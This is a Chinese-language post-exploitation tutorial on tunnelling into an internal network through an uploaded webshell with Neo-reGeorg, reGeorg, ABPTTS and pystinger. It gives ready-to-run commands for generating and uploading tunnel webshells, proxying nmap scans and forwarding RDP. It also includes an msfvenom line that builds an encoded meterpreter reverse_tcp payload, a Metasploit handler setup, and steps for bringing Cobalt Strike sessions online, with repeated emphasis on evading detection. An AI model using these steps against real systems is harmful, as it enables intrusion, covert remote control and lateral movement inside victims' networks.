abptts——获取webshell的主机位于内网,并且该内网主机的icmp、dns、tcp和udp协议等都不能出网,唯一的数据通道是webshell搭建正向代理。 根据代理的稳定性、速度推荐Neo-reGeorg、reGeorg、abptts 三款工具。
内网渗透之http隧道
前言
最近在整理内网渗透的一些相关资料,隧道的搭建是后渗透阶段重要的一环。随着防守的手段不断升级,某些情况下只能搭建http隧道。
http隧道
简介
通过HTTP协议与代理服务器建立连接,把所有要传送的数据全部封装到HTTP协议里进行传送,协议中包含有要连接的远程主机的IP和端口,连接成功之后会返回给客户端200,表示验证通过。
适用环境
获取webshell的主机位于内网,并且该内网主机的icmp、dns、tcp和udp协议等都不能出网,唯一的数据通道是webshell搭建正向代理。
根据代理的稳定性、速度推荐Neo-reGeorg、reGeorg、abptts 三款工具。
Neo-reGeorg
简介
可以称为reGeorg的升级版,且传输内容经过了base64编码,避免特征检查,有效绕过检测。
下载
https://github.com/L-codes/Neo-reGeorg
使用
1.设置密码,生成tunnel的webshell,并上传到目标服务器。
python neoreg.py generate -k cseroad
- 使用neoreg.py连接webshell,并在本地建立socks代理
注意:这里使用tunnel.nosocket.php,无socket的脚本
python neoreg.py -k cseroad -u http://xx/tunnel.nosocket.php
windows上可以使用SocksCap64 或者proxifier工具配置代理。
以windows上的SocksCap64 为例,添加代理。
测试连接成功。
注意有个测试代理地址。
点击可测试。
linux上可以使用proxychains代理
编辑
vim /etc/proxychains.conf
添加代理IP以及端口即可。
kali本地工具就可以通过proxychains命令全部代理进内网。
注意代理不支持icmp协议。proxychains nmap -Pn -sT -sV -v -T4 IP
reGeorg
简介
reGeorg 是 reDuh 的升级版。主要把内网服务器的端口通过http或https隧道转发到本机。
下载
https://github.com/sensepost/reGeorg
使用
1.上传tunnel.nosocket.php到目标服务器。
2.连接tunnel.nosocket.php,配置代理。
python reGeorgSocksProxy.py -u http://xxx/tunnel/tunnel.nosocket.php -p 9999
在SocksCap64 添加代理。
测试连接成功。
abptts
简介
abptts是一款基于ssl加密的http隧道工具。全程通信数据加密有效对抗检测。
下载
https://github.com/nccgroup/ABPTTS
使用
1.安装python依赖库
pip install pycrypto
pip install httplib2
2.本地运行,生成webshell
注意:该工具不支持php
python abpttsfactory.py -o webshell
将生成的代理脚本选择性上传到目标服务器。
返回hash值,说明代理正常执行。
建立隧道,将目标服务器的3389和本地的3389进行绑定。
python abpttsclient.py -c webshell/config.txt -u "http://xxxxx/abptts.aspx" -f 127.0.0.1:33389/127.0.0.1:3389
远程连接本地的33389端口
另外:
冰蝎本身也有socks代理。
Tunna 也可以在内网代理中转发端口。
pystinger
简介
pystinger是通过webshell来实现内网的SOCK4代理。
使用python开发,当前支持php,jsp(x),aspx三种代理脚本。可直接用于metasploit,cobalt strike上线。
下载
https://github.com/FunnyWolf/pystinger
使用
1.上传proxy.jsp到目标服务器,确保可以正常访问。
2.上传stinger_server.exe 到目标服务器,并start命令运行该程序
start stinger_server.exe
vps 运行client端
./stinger_client -w http://example.com:8080/proxy.jsp -l 0.0.0.0 -p 60000
将会在vps的6000端口启用socks4a代理
在SocksCap64 添加代理,测试一下。
上线cobaltstrike
配置60020端口的listener。
选择payload 生成artifact.exe,触发后即可上线。
vps可看到socks连接。
上线metasploit
msfvenom生成60020端口的payload.exe
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=60020 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe
metasploit 配置对应的监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 60020
set exitonsession false
exploit -j -z
将payload.exe在目标机上触发后,即可上线。
参考资料
https://micro8.github.io/Micro8-HTML/Content/91-100.html
https://klionsec.github.io/2016/09/15/abptts-http-tunnel/